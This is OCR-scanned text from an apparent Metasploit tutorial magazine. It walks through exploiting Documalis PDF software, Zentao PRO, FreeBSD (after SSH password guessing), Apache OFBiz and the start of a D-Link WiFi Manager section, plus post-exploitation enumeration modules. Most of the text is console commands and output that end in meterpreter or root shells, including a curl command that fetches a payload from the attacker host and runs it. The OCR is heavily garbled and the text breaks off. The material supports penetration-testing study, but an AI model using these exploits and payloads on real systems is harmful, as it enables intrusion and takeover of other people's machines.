msf6 exploit(windows/fileformat/documalis pdf_editor_and_scanner) > run

L+] msf.pdf stored at /home/kali/.msf4/local/msf.pdf
msf6 exploit(windows/fileformat/documalis pdf editor_and_scanner) > l

Now copy this payload to the target machine. Before we open it in the target system, we nee-
d to start a listener with the same configuration that we set for the payload.
msf6 > use exploit/multi/handler
Using configured payload generic/shell_reverse_tcp
msfé6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp

payload =% windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC process Exit technique (Accepted: '', seh, thread, proces
none)
LHOST The listen address (an interface may be specified

LPORT CYYYA The listen port




msf6 exploit(multi/handler) > set lhost 192.168.36.132
lhost =% 192.168.36.132
msf6 exploit(multi/handler) > run

Started reverse TCP handler on 192.168.36.132:4444

hen the malicious payload is opened with the vulnerable Documalis Free PDF Editor, we s-
uccessfully get a meterpreter session on the target as shown below.
msfé exploit(multi/handler) > run

Started reverse TCP handler on 192.168.36.132:4444
Sending stage (175174 bytes) to 192.168.36.1

Meterpreter session 1 opened (192.168.36.132:4444 — 192.168.36.1:49700) at 2020-11-1
B 08:35:20 -0500

meterpreter > sysinfo
Computer :

0sS : Windows 10 (10.0 Build 18362).
Architecture : X64

System Language : en_IN

Domain : WORKGROUP

Logged On Users : 2

Meterpreter : xB6/windows

meterpreter > getuid

Server username:

meterpreter >

For exploiting Documalis FREE PDF Scanner, the process is same and to set the target to 1.

., - Free POF Scanner sT2122 - B X I

‘ Scan gocurments




msfé6 > use exploit/windows/fileformat/documalis pdf editor _and scanner
No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > show options

Module options (exploit/windows/fileformat/documalis_pdf_editor_and_scanner):

Name Current Setting Required Description

—— -

FILENAME The file name.

PDF :: Encoder ASCIIHEX yes Select encoder for JavaScript Stream, val

values are ASCII8S5, FLATE, and ASCIIHEX

PDF :: Method DOCUMENT yes Select PAGE, DOCUMENT, or ANNOTATION

POF ::MultiFilter 1 yes Stack multiple encodings n times

PDF :: Obfuscate true yes whether or not we should obfuscate the ou
tput

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC process Exit technique (Accepted: '', seh, thread, proces
none)
LHOST 192.168.36.132 yes The listen address (an interface may be specified

LPORT (VYA yes The listen port

»+xDisablePayloadHandler: True (no handler will be created!)»*

Exploit target:
I R R IInm————————————s—————————=s.,

Exploit target:

Id Name

@ Documalis Free PDF Editor v.5.7.2.26 / Win 7, Win 10

msf6 exploit(windows/fileformat/documalis_pdf _editor_and_scanner) 3 set target 1
target = 1
msf6 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > run

1+] msf.pdf stored at /home/kali/.msf4&/local/msf.pdf
msf6 exploit(windows/fileformat/documalis_pdf _editor_and_scanner) > I
-——-— - e —— - - ———- ==
msf6 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > use exploit/multi/han
dler
Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload =% windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

-

EXITFUNC process Exit technique (Accepted:
s, none)

, seh, thread, proces




msf6 exploit(multi/handler) > set lhost 192.168.36.132
Lhost =% 192.168.36.132
msf6 exploit(multi/handler) > run

Started reverse TCP handler on 192.168.36.132:4444

msfé6 exploit(multi/handler) > run

Started reverse TCP handler on 192.168.36.132:4444

Sending stage (175174 bytes) to 192.168.36.1

Meterpreter session 1 opened (192.168.36.132:4444 — 192.168.36.1:53507) at 2020-11-2
O 04:49:16 -0500

meterpreter > sysinfo

Computer :

0S : Windows 10 (10.0 Build 18362).
Architecture : x64

System Language : en_IN

Domain : WORKGROUP

Logged On Users : 2

Meterpreter : xX86/windows

meterpreter > getuid

Server username:

meterpreter > §

Zentao PRO RCE Module
TARGET: Zentao PRO <= 8.8.2 IYPE: Remote ANTI-Malware : OFF

entao PRO is a project management software used by many companies. The above mentio
ned versions of Zentao PRO have a command injection vulnerability which when exploited g
ives attackers a shell with SYSTEM privileges. However, this is a module that needs valid cr-
edentials. This is because after authenticating to the ZenTao dashboard, the module tries to
axecute the malicious payload by submitting fake repositories via the 'Repo Create' function
hat is accessible only from dashboard.

We tested this on Zentao PRO version 8.8.2 running on Windows 10. The download info

rmation of the vulnerable software is given in our Github repository.

msfé > search zentao

Matching Modules

Disclosure Date Rank Check Description
exploit/windows/http/2entae pro_rce 2020-06-20 Yes ZentTao Pro

Remote Code Execution

Interact with a module by name or index. For example

Let's see how this module works. Load the zentao pro rce module.




msf6 > use exploit/windows/http/zentao pro_rce
Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/zentao_pro_rce) > show options

Module options (exploit/windows/http/zentao_pro_rce):

Name Current Setting Required Description

PASSWORD Password to authenticate with

Proxies no A proxy chain of format type:host:port|[,type:ho
st:port]| ... )

RHOSTS yes The target host(s), range CIDR identifier, or h
osts file with syntax 'file:<path>’

RPORT 80 yes The target port (TCP)

SRVHOST 0.0.0.0 yes The local host or network interface to listen o

. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections

SSLCert no Path to a custom SSL certificate (default is ra
ndomly generated)

TARGETPATH C:\Windows\Temp The path on the target where commands will be e
xecuted

TARGETURI  /pro/ The base path to ZenTao

URIPATH The URI to use for this exploit (default is ran
dom)

USERNAME admin Username to authenticate with

VHOST HTTP server virtual host

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC process Exit technique (Accepted: '', seh, thread, proces
none)

LHOST The listen address (an interface may be specified

LPORT bbb The listen port

Exploit target:

Id Name

@ Windows (x86)

msf6 exploit(windows/http/zentao _pro_rce) > .

Set all the required options and check if the target is vulnerable or not.

msf6 exploit(windows/http/zentao_pro_rce) > set rhosts 192.168.36.1
rhosts = 192.168.36.1

msf6 exploit(windows/http/zentao _pro_rce) > set password zentaol234
password =% zentaol234

msf6 exploit(windows/http/zentao pro_rce) > set username admin
username =% admin

m§f§ explOit(hlnﬂﬂwﬂfhttp;;pntan pro rce) > check

Running check
192.168.36.1:80 - The target appears to be vulnerable. Target is ZenTao version 8.8.2

he target is vulnerable. Execute the module now.




msf6 exploit(windows/http/zentao pro_rce) > run

Started reverse TCP handler on 192.168.36.132:4444

Executing automatic check (disable AutoCheck to override)

The target appears to be vulnerable. Target is ZenTao version 8.8.2.

Successfully authenticated to ZenTao 8.8.2.

Executing the payload ...

Command Stager progress 20.97% done (2049/9770 bytes)

Command Stager progress 41.94% done (4098/9770 bytes)

Command Stager progress 62.92% done (6147/9770 bytes)

Command Stager progress - 83.89% done (8196/9770 bytes)

Command Stager progress - 100.15% done (9785/9770 bytes)

Sending stage (200262 bytes) to 192.168.36.1

Meterpreter session 1 opened (192.168.36.132:4444 — 192.168.36.1:61563) at 2020-11-1
4 02:16:19 -0500

meterpreter > sysinfo

Computer -

0S : Windows 10 (10.0 Build 18362).
Architecture : X64

System Language : en_IN

Domain : WORKGROUP

Logged On Users : 2

Meterpreter : xX64/windows
meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM
meterpreter >

his should successfully give us a meterpreter session with SYSTEM privileges on the target
ystem as shown in the above image.

FreeBSD ip6 setpktopt UAF PE Module

TARGET: FreeBSD 9,9.1-3, 12.0, 12.1 TYPE: Local ANTI-Malware : NA

his Module exploits a vulnerability in the FreeBSD kernel IPV6 socket handling. It does this
by overwriting the ip6po_pktinfo pointer to achieve the Use After Free vulnerability to gain
root privileges. We have tested this on FreeBSD Release 12.1 r354233. Let's see how this m
odule works. As this is a privilege escalation module, we need to get a session with low privi
leges first. We use the SSH login to get this .

msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh login) > show options

Module options (auxiliary/scanner/ssh/ssh_login):

Name Current Setting Required Description

BLANK_PASSWORDS Try blank passwords for all users

BRUTEFORCE_SPEED yes How fast to bruteforce, from @ to 5

DB _ALL CREDS no Try each user/password couple stored in t
he current database

DB _ALL _PASS no Add all passwords in the current database
to the list

DB_ALL_USERS no Add all users in the current database to
the list

PASSWORD no A specific password to authenticate with

PASS FILE no File containing passwords, one per line

RHOSTS yes The target host(s), range CIDR identifier
, or hosts file with syntax 'file:<path>’




RHOSTS yes The target host(s), range CIDR identifier
, or hosts file with syntax 'file:<path>’
RPORT ry. yes The target port
STOP_ON_SUCCESS false yes Stop guessing when a credential works for
a host
THREADS | yes The number of concurrent threads (max one
per host)
USERNAME no A specific username to authenticate as
USERPASS FILE no File containing users and passwords separ
ated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all
users
USER FILE no File containing usernames, one per line
VERBOSE false yes whether to print output for all attempts

msf6 auxiliary(scanner/ssh/ssh login) >
y g

Set all the required options and execute the module to get a session with LOW privileges on
he target.

msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.36.162
rhosts = 192.168.36.162

msfé6 auxiliary(scanner/ssh/ssh_login) > set username admin
username =% admin

msf6 auxiliary(scanner/ssh/ssh_login) > set password admin
password =% admin

msf6 auxiliary(scanner/ssh/ssh _login) > run

[+] 192.168.36.162:22 - Success: 'admin:admin' 'uid=1001(admin) gid=0(wheel) groups=0(whe
el) FreeBSD FreeBSD-12 12.1-RELEASE FreeBSD 12.1-RELEASE r354233 GENERIC amd64 '

Command shell session 1 opened (192.168.36.132:40687 — 192.168.36.162:22) at 2020-11
-18 02:08:41 -0500

Scanned 1 of 1 hosts (100X complete)

Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/ssh_login) > sessions

Active sessions

Id Name Type Information Connection

| shell bsd SSH admin:admin (192.168.36.162:22) 192.168.36.132:40687 — 192.1
68.36.162:22 (192.168.36.162)

Background the current session and load the ip6 setpktopt uaf priv_esc module.

msfé auxiliary(scanner/ssh/ssh _login) > back
msfé > use exploit/freebsd/local/ip6_setpktopt_uaf _priv_esc
Using configured payload bsd/x64/shell_reverse_tcp
msf6 exploit(freebsd/local/ip6 _setpktopt uaf priv esc) > show options

Module options (exploit/freebsd/local/ip6_setpktopt_uaf_priv_esc):

Name Current Setting Required Description

SESSION The session to run this module on.

Payload options (bsd/x64/shell_reverse_tcp):

Name Current Setting Required Description

CMD /bin/sh The command string to execute

LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port




e required options like session 1D, the target IS indeed vuinerab
or not.

msf6 exploit(freebsd/local/ip6_setpktopt uaf priv_es set session 1

session =% 1

msf6 exploit(freebsd/local/ip6_setpktopt_uaf _priv_esc set lhost 192.168.36.132
Lhost =% 192.168.36.132

Qiiﬁ EIPIOit(iTUPtZU"LkLJL'lﬂt SELPKTOPT _uar _priv _esc check

[!] SESSION may not be compatible with this module.
The target appears to be vulnerable.
msf6 exploit(freebsd/local/ip6_setpktopt_uaf

he target is vulnerable. Executing the module should give us a session with root privileges
s shown below.

msf6 exploit(freebsd/local/ip6_setpktopt uaf priv_esc) > run

{!] SESSION may not be compatible with this module.
Started reverse TCP handler on 192.168.36.132:4444

Executing automatic check (disable AutoCheck to override)
l+] The target appears to be vulnerable.
Using target: FreeBSD 12.1-RELEASE r354233 - allproc offset: Ox1df7648
Writing '/tmp/.QlA6FacaxZ.c' (14162 bytes)
Compiling /tmp/.QlA6FacaxZ.c ...
Writing '/tmp/.F4uGn' (218 bytes)
Launching exploit (timeout: 30s) ...
uid=0(root) gid=0(wheel) groups=0(wheel)
[+] Success! Executing payload ...
Command shell session 2 opened (192.168.36.132:4444 — 192.168.36.162:11276) at 2020-
11-18 02:10:12 -0500
[+] Deleted /tmp/.QlA6FacaxZ.c
|+] Deleted /tmp/.QlA6FacaxZ
L+] Deleted /tmp/.F4uGn

id
uid=0(root) gid=0(wheel) groups=0(wheel)
gl

e ————————————————————————
msf6 exploit(freebsd/local/ip6_setpktopt_uaf _priv_esc) > sessions

Active sessions

Id Name Type Information Connection

| shell bsd SSH admin:admin (192.168.36.162:22) 192.168.36.132:40687 - 1
92.168.36.162:22 (192.168.36.162)

2 shell x64/bsd 192.168.36.132:4444 - 19
2.168.36.162:11276 (192.168.36.162)

msf6 exploit(freebsd/local/ip6_setpktopt uaf

Linux Container Enumeration Module
TARGET: Linux TYPE: Local ANTI-Malware : NA

Linux containers are very popular nowadays. So its high time Metasploit bring a module that
enumerates containers on a Linux system. This POST module enumerates the container plat




orm running on the target and ists all running containers for each platform. The contain

er platforms that can be enumerated by this module are Docker, LXC and RKT. Let's see ho
w this module works. Our target is a Kali system with Docker containers.

kalifkali:~$ docker images

REPOSITORY
<none>
centos
<none>
<none>

sameersbn/bind

ubuntu

reproduce-cve-2019-11043

ubuntu

sonatype/nexus3

hello-world
solr

TAG
<none>
7
<none>
<none>

9.16.1-20200524
focal-20200423

latest
18.04
3.23.1
Latest
8.3.0

IMAGE ID

dcfebbS5a74f2
7e6257¢c9f8d8
aS57f73e9dc20
1fde4dda96a0
98a3340b52a05
1d622efB86b13
ff4a2lca528a3
L4e5021d218f6
7e6931b4cdf2
bf756fblaeé65s
17dcf&3eea9e

CREATED
months ago
months ago
months ago
months ago
months ago
months ago
months ago
months ago

10 months ago

11 months ago

SIZE
676MB
203MB
73.9M8
113MB
343MB
73.9M8
1.63G8
64 . 2MB
64 OMB
13.3kB

12 months ago 823MB
13 months ago 1.01GB
23 months ago 4O9MB
3 years ago 337MB

@6cfbeb4cd34
fb27a6¢cl2deb
be6OCcTfOb7704

Liferay/portal 7.2.0-gal
vulhub/thinkphp 5.0.23
medicean/vulapps s_shiro_1
kalidkali:~-$ .

Let's start three of these containers.

11:~$ docker run dcfebbSa74f2
:~$ docker run 7e6257c9f8d8

: kalli:-$ docker run 7e6931bacdf2
2020-12-18 08:27:06,190+0000 INFO [FelixStartlLevel] «SYSTEM org.sonatype.nexus.pax.logging.NexuslogActivator - start
2020-12-18 08:27:08,839+0000 INFO [FelixStartLevel)] «SYSTEM org.sonatype.nexus.features.internal.FeaturesWrapper - Fast
2020-12-18 08:27:13,759+0000 WARN [FelixStartLevel)] +SYSTEM uk.org.lidalia.sysoutslféj.context.SysOutOverSLF4JInitialise
x.logging.slf4).S1f4ajLogger is not known - if it needs access to the standard printin methods on the console you will nee
stemPackage

ust like any other POST module, we need to have a session on the target before being able
0 use this module. This can be a session with normal privileges.

msfé E!plﬂit("th: handler) > run

Started reverse TCP handler on 192.168.36.132:4444

Sending stage (976712 bytes) to 192.168.36.134

Meterpreter session 3 opened (192.168.36.132:4444 — 192.168.36.134:38862) at 2020-12
-17 02:22:06 -0500

meterpreter > sysinfo

Computer 192.168.36.134

0S : Debian (Linux 5.4.0-kali3-amd64)

Architecture : x64

BuildTuple 1486-1inux-musl

Meterpreter x86/11nux

meterpreter > getuid

Server username: kali @ kali (uid=1000, gid=1000, euid=1000, egid=1000)

Background the current meterpreter session and load the /post/linux/gather/enum containers
module as shown below.

meterpreter > background
Backgrounding session 3 ...

msf6 exploit(multi/handler) > use post/linux/gather/enum_containers
msf6 post(linux/gather/enum_containers) > show options
Module options (post/linux/gather/enum_containers):

Name Current Setting Required Description

CMD Optional command to run on each running container
SESSION 2 yes The session to run this module on.

msf6 pOSt(l inux/gather/enum_containers) > l

Set the session |ID and execute the module.




msfb pﬂSt(LlHn!fgd{hvf-HHHﬂnguﬂldIHHrb) > set session 3
session =% 3
msfb6 pﬂSt(Ll”uxﬁgdthrr-Hﬂuﬂﬂxﬁﬂtdiﬂwrﬁ) > run

\+] docker was found on the system!
{+] docker: 3 Running Containers / 15 Total
CONTAINER ID IMAGE COMMAND CREATED
STATUS PORTS
NAMES
db996531fe2d 17dcf43eea%e *docker-entrypoint.s.* About a min
ute ago Up About a minute 8983/tcp
tender_solomon
3fe4bs2cfof3 7e6931b4cdf2 *sh -c ${SONATYPE DI." 11 minutes
ago Up 11 minutes 8081/tcp
wonderful_jennings
320b974c599a 7e6257¢c9f8d8 */bin/bash” 11 minutes
ago Exited (@) 11 minutes ago
optimistic_jones
70f830faa69d dcfebb5a74f2 */bin/bash* 11 minutes

charming_shockley
a536fdeS68ce dcfebb5a74f2 */bin/sh -¢ 'yum ins." 3 months ag
0 Exited (1) 3 months ago

nifty_northcutt
7503c2618a55 dcfebb5a74f2 */bin/sh -¢ 'yum ins.” 3 months ag
0 Exited (1) 3 months ago

elated_rosalind
9a4d5e11233c¢ sameersbn/bind:9.16.1-20200524 "/sbin/entrypoint.sh.” & months ag
0 Up 12 minutes 0.0.0.0:53-53/tcp, 0.0.0.0:10000>10000/tcp, 0.0.0
.0:53-953/udp bind
23206ac3f4ee a57f73e9dc20 */bin/sh -¢c 'rm -rf _° & months ag
0 Exited (100) 4 months ago

adoring driscoll
91691946886 medicean/vulapps:s_shiro_1 */usr/local/tomcat/b." 5 months ag
0 Exited (@) 4 months ago 0.0.0.0:80-58080/tcp

friendly_hermann
b9966ca7c1bf vulhub/thinkphp:5.0.23 *docker-php-entrypoi.” 6 months ag
0 Exited (255) 5 months ago 0.0.0.0:8080-80/tcp

5023-rce_web_1

0 Exited (255) 6 months ago 8000/tcp, 8009/tcp, 11311/tcp, 0.0.0.0:8080->8080/t
cp epic_fermat
47F6248466¢f liferay/portal:7.2.0-gal */bin/sh -c Jusr/loc." 6 months ag
0 Exited (@) 6 months ago 8000/tcp, 8009/tcp, 11311/tcp, 0.0.0.0:8080-8080/t
cp happy_noether
47e7d78e79f3 sonatype/nexus3:3.21.1 "*sh -c ${SONATYPE DI." 6 months ag
0 Exited (@) 6 months ago 9.0.0.0:8081-58081/tcp

nexus
fl09af89%ac19 solr:8.3.0 "docker-entrypoint.s.™ 8 months ag
0 Exited (@) 6 months ago 0.0.0.0:8983->8983/tcp

solr_830
a987a03da0sf hello-world */hello” 8 months ag
0 Exited (@) 8 months ago

AANE T UIA VUL SLUAS LS FALES
- w -

JF T e R

l+] Results stored in: 7home/kali/.msfh/lootlzezalz1?022396_defau1t_192.163.36.13£_host.d
ocker_cont_551894.txt

FUST IOUULE ExecuTION LLH'IIPLELEU

msf6 pﬂst(k1nuwfﬂdthurfrnuﬂ containers) > l

As can be seen in the above images, the module first identified the container platform as Doc
kKer and then enumerated all docker containers present on the system. It also enumerated th
ree running containers we started.




Software Versions Enumeration Module

TARGET: Linux, Windows, OSX. Android, Solaris, B0 TYPE: POST

POST exploitataion enumeration is one of the most important stages of penetration testing. T
-his module is s module which gathers a list of all the software that has been installed on a c-
ompromised ta -rget along with its versions and saves the output to file as loot. This allows p-
enetration tester -s to find additional infor -mation about the target that may help in gaining a-
dditional privilege -s on the machine, determine outdated software that may be vulnerable an
-d needs updating efc.

Let's see how this module works. After getting a meterpreter session on the target, back-
ground that session and load the post/multi/gather/enum_software_versions module. Set the

session ID and execute the module as shown below.

msfé6 post(llrua gather/enum containers) > back
msfé > use post/multi/gather/enum_software_versions
mﬁfﬁ pOSt(Vuif; gather/enum software 4vrw;rna) > show optiuns

Module options (post/multi/gather/enum_software _versions):

Name Current Setting Required Description

-—— -

SESSION The session to run this module on.

msf6 post(multi/gather/enum software versions) > set session 3
session =% 3
msf6 post(ﬂuﬂft gather/enum_software versions) > run

|+] Stored information about the installed products to the loot file at /home/kali/.msf4/
loot/20201217022932_default_192.168.36.134_host.linux.softw_000695. txt
Post module execution completed

msfé post(”uft; gather/enum _software versions) > l
his will create a file in the loot directory. All the information about the software installed alon

g with their versions are in this file.

kali@kali:~$ cat /home/kali/.msf4/100t/20201217022932_default_192.168.36.134_host.linux.s
oftw_000695.txt

WARNING: apt does not have a stable CLI interface. Use with caution in scripts.

Listing ...

acl/now 2.2.53-5 amd64 [installed,upgradable to: 2.2.53-8)
adduser/kali-rolling,now 3.118 all [installed]

adwaita-icon-theme/now 3.34.0-2 all [installed,upgradable to: 3.36.1-2]
aircrack-ng/now 1:1.5.2-3+b1 amd64 [installed,upgradable to: 1:1.6-4]
alsa-topology-conf/now 1.2.1-2 all [installed,upgradable to: 1.2.2-1)
alsa-ucm-conf/now 1.2.1.2-2 all [installed,upgradable to: 1.2.2-1]
amass-common/now 3.3.1-0kalil all [installed,upgradable to: 3.8.0-0kalil]
amass/now 3.3.1-0kalil amd64 [installed,upgradable to: 3.8.0-0kalil)
apache2-bin/now 2.4.41-2 amd64 [installed,upgradable to: 2.4.43-1)
apache2-data/now 2.4.41-2 all [installed,upgradable to: 2.4.43-1)]
apache2-utils/now 2.4.41-2 amd64 [installed,upgradable to: 2.4.43-1)

Now let's run this module on a windows 10 machine which is our regular target machine.

Meterpreter session 2 opened (192.168.36.132:4466 — 192.168.36.129:50086) at 2020-12
-19 03:23:47 -0500

meterpreter > sysinfo
Computer : DESKTOP-UR61SVS
0S : Windows 10 (10.0 Build 17134).

Architecture : xB6




msfé > use post/multi/gather/enum_software_versions

msf6 post(multi/gather/enum_software_versions) > set session 2
session = 2

msf6 pust{*ult1:ﬂdthvrfrvum_anftwdru versions) > exploit

|+] Stored information about the installed products to the loot file at /home/kali/.msf4&/
Loot/20201219032849 default_192.168.36.129 _host.windows.sof_434378.txt

Post module execution completed
msfé post(multi/gather/enum_software_versions) > §

kaliagkali:~$ cat /home/kali/.msf4/100t/20201219032849 default_192.168.36.129 host.windows
.Sof 434378.txt
Description InstallDate Name

Version
FTPShell Client 6 20181107 FTPShell Cli
ent 6 6.1.0
Microsoft SQL Server 2012 Express LocalDB 20200628 Microsoft SQ
L Server 2012 Express LocalDB 11.0.2318.0
CrossChex Standard 20200403 CrossChex St
andard 1.1.0.0
UpdateAssistant 20200225 UpdateAssist
ant 1.24.0.0
Microsoft Visual C++ 2019 XB86 Minimum Runtime - 14.20.27508 20200628 Microsoft Vi
sual C++ 2019 X86 Minimum Runtime - 14.20.27508 14.20.27508

Microsoft SQL Server 2012 Native Client 20200628 Microsoft SQ

L Server 2012 Native Client 11.0.2100.60

VMware Tools 20200628 VMware Tools
11.0.6.15940789

IIS 8.0 Express 20200628 IIS 8.0 Expr

ess 8.0.1557

Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 20200403 Microsoft Vi

sual C++ 2008 Redistributable - x86 9.0.30729.6161 9.0.30729.6161

LibreOffice 6.2.4.1 20200108 LibreOffice

6.2.4.1 6.2.4.1

Microsoft Visual C++ 2019 X86 Additional Runtime - 14.20.27508 20200628 Microsoft Vi

sual C++ 2019 X86 Additional Runtime - 14.20.27508 14.20.27508

Xshell 6 20200823 Xshell 6
6.0.0197

Stopping Plex 20200926 Stopping Ple

X 1.18.2309

Kentico 12.0 20200628 Kentico 12.0
12.0.7115.15568
Zahir Enterprise 6 Build 6 Demo Version 20190324 Zahir Enterp
rise 6 Build 6 Demo Version 6.0.0.6
OSrss 20180624 OSrss
1.0.0
Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 20200823 Microsoft Vi
sual C++ 2012 x86 Additional Runtime - 11.0.61030 11.0.61030
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148 20170620 Microsoft Vi
sual C++ 2008 Redistributable - x86 9.0.30729.4148 9.0.30729.4148
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17 20200823 Microsoft Vi
sual C++ 2008 Redistributable - x86 9.0.30729.17 9.0.30729
Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 20200823 Microsoft Vi
sual C+ 2012 x86 Minimum Runtime - 11.0.61030 11.0.61030
Plex Media Server 20200926 Plex Media S
erver 1.18.2309
Update for Windows 10 (KB4480730) 20200628 Update for W
indows 10 (KB4480730) 2.53.0.0

kaligkali:~$ l

As you can see in the above images, it not only enumerated the software installed on the tar
get windows system but also its versions.




Apache OfBiz XML-RPC Java Deserialization Module

TARGET: Apache OFBi1z < 17.12.04 TYPE: Remote ANTI-Malware : OFF

pache OFBiz is an open source ERP (Enterprise Resource Planning) software that provide-

a common data model and a set of business processes like accounting, asset maintenance
, project management etc. The above mentioned versions have an unauthenticated Java de-
erialization vulnerability in the XML-RPC endpoint (/webtools/control/xmirpc) which can be e
xploited to achieve remote code execution. Let's set the target first as docker.

kalidkali:~-$§ docker pull opensourceknight/ofbiz

Using defaul® Tag: Latest

latest: Pulling from opensourceknight/ofbiz

51f5c6a04d83: Downloading [=ssssssssssssss=) ] 16.23MB/51.36MB
aled95caeb02: Download complete

7004cfc6e122: Downloading [==ssszsssssssssssssssssssssas) ] 10.58MB/18.53MB
5f37cBa7cfbd: Downloading [==ssssssssssssssss=) ] 16.25MB/42.49MB
fb6908934faf: Waiting

9c531a67af6d: Waiting

3c7a@bc3debe: Waiting

1dbf971ee@45: Waiting

5136e96bff7d: Waiting

a5c10b475d40: Waiting

331feeBb7759: Waiting

9b3aabf5e2ae: Waiting

067ee56fde33: Waiting

52af5chbefl34: Waiting

After the target is set, let's see how this module works. Load the apache ofbiz_desrialization

module.

msf6 > use exploit/linux/http/apache_ofbiz_deserialiation
Using configured payload linux/x64/meterpreter_reverse_https
msf6 exploit(linux/http/apache _ofbiz _deserialiation) > show options

Module options (exploit/linux/http/apache_ofbiz_deserialiation):

Name Current Setting Required Description

Proxies A proxy chain of format type:host:port[,type:host:port)
[ ...]

RHOSTS The target host(s), range CIDR identifier, or hosts fil
e with syntax ‘file:<path>’

RPORT 8443 The target port (TCP)

SSL true Negotiate SSL/TLS for outgoing connections

SSLCert Path to a custom SSL certificate (default is randomly g
enerated)

TARGETURI / Base path

URIPATH no The URI to use for this exploit (default is random)

VHOST no HTTP server virtual host

Payload options (linux/x64/meterpreter reverse https):

Name Current Setting Required Description

-—— e -

LHOST The local listener hostname
LPORT 8443 yes The local listener port
LURI no The HTTP Path

Exploit target:

Id Name

1 Linux Dropper




et all the required options and check If the target I1s vuinerable or not.

nsf6 exploit(linux/http/apache _ofbiz _deserialiation set rhosts 172.17.0.2
rhosts = 172.17.0.2

nsfé6 exploit(linux/http/apache_ofbiz_deserialiation set Lhost 172.17.0.1
Lhost = 172.17.0.1

msf6 exploit(linux/http/apache_ofbiz_deserialiation set rport 8443

rport =9 B443

msfé exploit(linux/http/apache_ofbiz_deserialiatio set srvport 8888
srvport =9 BBBB

msf6 exploit(linux/http/apac biz deserialiation) > check

(+] 172.17.0.2: aana - The target is vulnerable Target can deserialize arbitrary data.
msfé Elplolt( Lnux/http/apache _ofbiz deserialiati m) > .

msf6 exploit(linux/http/apache ofbiz deserialiation) > run

Started HTTPS reverse handler on https://172.17.0.1:8443

Executing automatic check (disable AutoCheck to override)

The target is vulnerable. Target can deserialize arbitrary data.

Executing Linux Dropper for linux/x64/meterpreter_reverse_https

Using URL: http://0.0.0.0:8888/dZh39mBKJI5N

Local IP: http://192.168.36.134:8888/dZh39mBKI5N
[+] Successfully executed command: sh -¢ curl${IFS}-so${IFS}/tmp/gmsLRXPT${IFS}http://172.17.0.1
:8888/dZh39mBKISN; chmod$ {IFS}+x${IFS}/tmp/gmsLRXPT; /tmp/gmsLRXPT ; rm$ {IFS}-fS${IFS}/tmp/gms LRXPT

Command Stager progress - 104.03%X done (155/149 bytes)

Client 172.17.0.2 (curl/7.38.0) requested /dZh39mBKJISN

Sending payload to 172.17.0.2 (curl/7.38.0)

https://172.17.0.1:8443 handling request from 172.17.0.2; (UVID: fcale5t4) Redirecting stage
Less connection from /B83wWfdcFHkCingSc UPxtQlwlsCcT with UA "Mozilla/5.0 (Windows NT 6.1; Triden
t/7.9; rv:11.0) like Gecko'

https://172.17.0.1:8443 handling request from 172.17.0.2; (UVID: fcald5t4) Redirecting stage

LhvNrciXXJios-MvHp87XkPT4gtSazOrDrii with UA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0)

like Gecko'
https://172.17.0.1:8443 handling request from 172.17.0.2; (UUID: fcale5t4) Redirecting stage

less connection from /B3wWfdcFHKCingSc UPXxtQfyKNP3Ilr2q4Xao®=1wC50JTNOVjuiswiw 32qCa520FF7GDREG
CEXEBAQfm3v7wy with UA "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'
https://172.17.0.1:8443 handling request from 172.17.0.2; (WID: fcale5t4) Attaching orphane

d/stageless session ...
Meterpreter session 1 opened (172.17.0.1:8443 — 172.17.0.2:33678) at 2020-12-18 20:11:07 -0

500
Server stopped.

meterpreter > sysinfo

Computer + 172.17.0.2

0S : Debian 8.4 (Linux 5.4.0-kali3-amd64)

Architecture : xb64

BuildTuple : XB86_64-1linux-musl

Meterpreter : x64/Llinux

meterpreter > getuid

Server username: root @ 58de064dd8e3 (uid=0, gid=0, euid=0, egid=0)
meterpreter > |j

his should give us a successful meterpreter session as shown in the above image.

D - Link Central WiFi Manager RCE Module

TARGET: D-Link Central Wifi Manager v 1.03 For Windows TYPE: Remote
ANTI-Malware : OFF

D-Link Central Wi-Fi Manager is a web-based wireless access point management tool which
enables users to create and manage multiple wireless networks. The above mentioned versi-
on has a PHP code injection vulnerability which is possible because a user controlled cookie




fis passed to the eval () function without sanitization. As this software runs with elevated privil |
-eges, anyone exploiting this vulnerability will gain a shell with SYSTEM privileges. The down
tload information of this vulnerable software is given in our Github repository. We have teste-

(d this on a windows 7 machine. While installing the vulnerable software on the target, we pas

t-s through the following stages.

L] - p—
Vianane
._.F

Central Wifi Manager Port Setting

Manager Port 3000
Listen Port 80390
Service Port 64768

<Back | Newt> | Cancel

Central WifiManager - InstallShield Wizard
Apache Server Service Port Setling

Apache Server Service Port

. |
.

¢Back | Next> Cancel




Central WifiManager - InstaliShield Wizard

Central WihManager Server IP/Domain Name

